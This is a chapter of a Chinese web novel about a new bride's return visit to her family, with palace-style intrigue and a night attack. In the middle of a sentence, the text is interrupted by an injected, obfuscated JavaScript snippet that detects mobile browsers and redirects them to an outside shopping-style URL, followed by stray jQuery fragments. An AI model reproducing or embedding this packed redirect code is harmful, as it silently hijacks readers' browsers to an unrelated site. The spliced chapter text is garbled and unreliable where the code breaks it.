默认冷灰
24号文字
方正启体

3. 回门

作者:陌千的雪本书字数:K更新时间:
    “还世子妃呢?睡到日上三竿,也不见的人。”厨房内一大概三十岁名叫刘妈妈的清洗着菜叶和一旁正在洗菜的同伴啧啧说着。


    “谁说不是呢?她倒是享福了,又没有婆母,世子又只娶了她一人,整个院子还不是只有她说的算。”另一个大概也有三四十岁了看着外头除了三两个干活的丫头,也没个旁人,便开始肆无忌惮的说着。


    “哼,这是又多一个难服侍的主,就等着吧。”刘妈妈摇摇头,看着整个厨房有这么多事,却只有她们两个人。


    “其实这样也挺好的,糊弄糊弄就过去了,说不定和世子一样,咋们啊又能多捞点。”两个妈妈相互看了一眼,世子身弱无暇多管,世子妃虽然尚且不知道脾性但看样子也是个好糊弄的。


    文珠站在门后静静的听了许久,早上的时候,她想把小姐叫起来,被世子拦下了,世子说让她多睡一会,于是她就来院子里多走走。


    整个侯府可谓是外表光鲜亮丽,内里确是无人打扫,甚至有的院子杂草遍野,无人看管,想是世子变卖了许多家产才给小姐一个风风光光的婚礼。


    文珠叹了口气,果然是瘦死的骆驼比马大,向她们这样的奴婢这辈子都不能肖想。


    “你在院子里乱逛什么?夫人起身了。”蝉衣看着文珠狗狗祟祟的有些生气。


    蝉衣是世子赐给栖梧新的贴身婢女,文珠从昨晚看见就不待见她,长了一副狐媚样子,待在世子身边能是什么好东西,还不如是叶子。


    “知道了,我现在就去。”文珠没好气的看了她一眼,都是一样的,自己凭什么被她使唤。


    房内新床上,栖梧慢悠悠的爬起来,她脑袋昏昏,感觉自己很久没有睡得这么香,这么久了,要是日子能一直这么舒心的过下去好像也不错。


    “夫人该起身了。”文珠把她扶起来,大概说了一些府里的情况。


    栖梧叹了一口气,原来还有一堆麻烦事等着她,她到底什么时候才能过上闲云野鹤的生活。


    响午吃饭,栖梧坐在正位上看着来往的婢女,自己的身体就和触动记忆一样,想要伸手去帮他们,她端坐在椅子上,不断地给自己心里暗示。


    “蝉衣,你们府里就吃这些东西?”文珠看着端上桌的野菜,咸粥,连配菜都是些糙食,她在陆府吃的都比在这好。


    蝉衣瞄了一眼,心里想着确是有点夸张了,虽然世子很少在府内吃,也不至于吃这些。


    文珠看着蝉衣默不作声,大声呵斥道:“把你们掌勺的叫过来!”


    下面的女婢面面相觑,磨蹭了好久才去了一人。


    待到栖梧吃的差不多,刘妈妈才缓缓过来道:“夫人叫我,只是厨房人少,实在是脱不开身,还望夫人见谅。”


    栖梧擦了擦嘴,什么难吃的菜她没吃过,怎么在这侯府中,一个厨房的老妈子都敢骑到主子头上来了,她温声笑道:“真是幸苦刘妈妈了,日头毒辣,还要干这么幸苦的活,文珠赏她。”


    “……”


    底下的婢女相互看了一眼对方,刘妈妈干的这么敷衍,世子妃非但不骂,还赏赐了她?


    傍晚高仙之从马场上回来,手上沾满了鲜血,底下的人来的匆匆忙忙却没人去找太医。


    栖梧站在外面看着书房内乱作一团的样子,突然觉得有几分奇怪,偌大的府内竟然没有一个忠仆,按理说满府仆人的身契都在侯府底下押着,怎么会成这样?


    蝉衣站在一边看着书房内灯火通明,又看了一眼立身不动的夫人,上前问道:“夫人不去看看吗?”


    霎时间,一身的寒意爬满栖梧的全身,她立马警觉,瞥了一眼身边的蝉衣,只感觉这丫鬟十分有九分的不对劲。


    “我这就去。”栖梧示意了文珠一眼,文珠立马就懂,偷偷落下跑出府找大夫去了。


    栖梧来到书房内,一堆仆人围着高仙之,却没有一个是做实事的。


    “都下去吧。”栖梧喊了一声。


    小厮看了一眼夫人,循着高仙之的脸色才退到一边,却没有出门都在房内紧盯着他们两个。


    栖梧这才真正确定,这满府没有一个是高仙之自己的人,可是到底是谁呢?栖梧看着一脸委屈不堪的高仙之,好像从第一次看到他就是个柔弱不堪的谦谦公子,真的是这样的吗?


    她盘坐到高仙之的身上,看着他满手的鲜血,轻抚他脸上似乎流下的泪,宽慰道:“夫君别哭,我这就来给你吹吹。”


    高仙之抱着栖梧,下颌抵在她的颈窝处不停地摩擦,温热的呼吸伴着豆大点的泪花纷纷砸向栖梧。


    “栖栖,我今日在马场上给严家那位牵马,没想到他后面比马输了,怪我没给他马养好,他就使劲的抽打我,我的手都被他打流血了呜呜呜。”


    栖梧看着呜咽的他,怎么也没想到,堂堂世子在马场上干着奴役的活,果真的是世态炎凉。


    她抱起高仙之的脸轻轻碰了一下,看了一眼还在看的奴仆,厉声道:“怎么?还不走等着看吗?”


    一声下,房内瞬间无一人,只留下一关门的声响。


    屋内烛火闪烁,栖梧站在书桌上研磨,眼睛看着房门外面的身影,心里有些沉重,她算不算从一个坑里跳到另外一个坑里去了。


    “夫人在想什么?”高仙之倚在椅子上,盯着栖梧目不转睛的看。


    栖梧笑了一声说:“夫君手又不疼了吗?”


    高仙之脸色讪讪,好歹手上流的是真血,这丫头是一点不关心他。


    栖梧没搭理他,在纸上写了几行字——这府里怎么回事?我们现在好歹是夫妻,为什么昨晚没和我说清楚?


    高仙之眯着眼看了一眼,把纸撂在一边道,惨兮兮的哭道:“夫人就是不疼我!”


    “……”栖梧有些受不了了,谁来管管。


    三日后,回门的路上,文珠递了一封信给坐在马车上的栖梧。


    栖梧看了信,又看了一眼倚在窗户边小憩的高仙之。


    “夫君,我嫡姐突发重病,我们怕是要在府中留宿一夜了。”


    高仙之暗自挑眉,嗯了一声没有反对。


    下车后,栖梧果然没有见到陆婧雪的身影,只有钟蓉带着陆璃在门口迎他们。


    高仙之一见到府门口有人,立马跳下来先栖梧一步,然后恭敬的扶着栖梧下了马车。


    栖梧在心里笑了一声,世子没想到还有如此幼稚的行为。


    “岳母。”高仙之朝着钟蓉笑着略身低头。


    钟蓉假意回应,双手交叠微微屈膝,没想到有一日她钟蓉也要给一个外室子回礼。


    “妹妹,父亲在正厅等你们呢。”陆璃看着栖梧,眼睛却快速略过高仙之,没想到几十年没见,高世子依旧容貌昳丽,可那又如何,一个没落的世子还能掀起多大的浪花。


    栖梧看着陆璃,以前她根本没有机会和陆璃说上话,只听说她文采斐然,想娶她的人太多。


    “世子。”陆璃低头向高仙之行礼,却不小心落了绣帕。


    栖梧立马眼疾手快抓住,还给陆璃。


    高仙之微微点头回礼,没有多说话,心里却道,陆璃是吧,和我的道行差


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17251253|197951||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    远了。


    正厅内,陆婧雪咳了许久,拿着面纱遮着整张脸,自从上次利用了喻游之后,回府之后就在没给她好脸色,喻游还当着她面纳了好几个,陆婧雪被气得生了一场病,这次栖梧回门,她倒要看看她过得如何。


    须臾,栖梧到正厅,高仙之一丝不苟的扶着她进了门,陆婧雪见来人,嗖的一下就从座位上站起来,手心都被掐出血来。


    栖梧打走了高仙之想摸她的手,陆婧雪这个人最见不得别人过得比她好。


    饭后,众人小叙了一番,栖梧也懒得和他们说就离了席,文珠跟在她的后面问她是不是想叶子了。


    栖梧点了点头,在这里她最放不下的就是叶子。


    文珠心领神会立马就去找人,没过一会栖梧就看见她一人回来。


    “夫人,他们说叶子家里人病重,她回家探亲去了…而且…”文珠仔细想了一下又说:“府里多了好几个不认识的壮汉,说是过来帮工的。”


    栖梧点了点头,陆世忠说他在府内又给她置办一新的地方,说是原先祖母待的地方。


    “文珠。”栖梧看了一眼,文珠就知道她想往哪里去。


    越到住处,树木就越发的茂盛,陈年累月的杂草堆砌在一起,路上铺着的木板桥,底下的溪水还在哗啦啦的流,这里似乎看不见岁月的流逝,栖梧想祖母早年应该是一位非常有闲情逸致的人。


    正门处上面写着——木栖阁三个大字,栖梧突然心里一沉,悄然间袭来的思绪渐渐涌起,为什么祖母住的地方叫木栖阁,为什么和她的名字这么像,会是巧合吗……


    “老爷派人将这里都打扫好了,夫人安心住下吧。”文珠看着栖梧,有些欢喜的说。


    夜幕降临,栖梧在床榻上睡得正香,梦中的她和母亲在一片绿油油的花丛中奔跑着,爹爹已经准备好纸鸢在不远处等她们母女两一起放,渐渐地场景崩塌一股黑水将她淹没,水中她慢慢下沉直至窒息。


    栖梧恍然从床榻上惊醒,她被惊出了一身的汗,她摸了摸额头上,转身便看到她的身旁又是一人,赫然她被那壮汉掐住脖子。


    “文…珠。”栖梧躺在床上,窒息感麻痹了她的周身,她的大脑又被迫思考,又是谁要害她。


    那人蒙着脸,一手掐着栖梧的脖子,一手扒开她的衣物。


    栖梧被摁在床上,手下意识的向软枕下摸去,果然内有一把小刀,她拿起瞬间刺向那壮汉的眼睛。


    “啊!”壮汉的惨叫声,瞬间惊动了屋外的文珠。


    “小姐!小姐!”文珠想着栖梧第一次睡在这里怕有人暗算,便在屋外守夜,没想到现在里面被上了锁。


    文珠在外面积既焦急又心慌,突然她发现身边的怎么蝉衣不见了,她准备转头就被打晕在地上。


    蝉衣看了一眼倒在地上的文珠,示意世子可以过去。


    高仙之一脚便踢开那扇门,屋内两人正在缠斗,栖梧被人迷了药,身体想要瘫在地上,不得已她只能用刀划伤大腿,告诉自己不能睡。


    高仙之接过蝉衣扔来的佩剑,一剑就将那人的头砍下,血液溅飞在栖梧的脸上,眼睛也被刚才剑影的寒光所刺。


    她推开那具尸体,使劲的擦去脸上的血渍,手在不停地发抖,心跳动的越来越快。


    “夫人,我来迟了。”


    高仙之扔掉那把剑,他的脸,手,衣服全部都是血渍,但却不是刚才被他杀掉的那位所赋予的。


    “夫人怎么不说话?难道是怕你的夫君吗?”高仙之缠上栖梧的身体,只感受到了阵阵的寒意。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)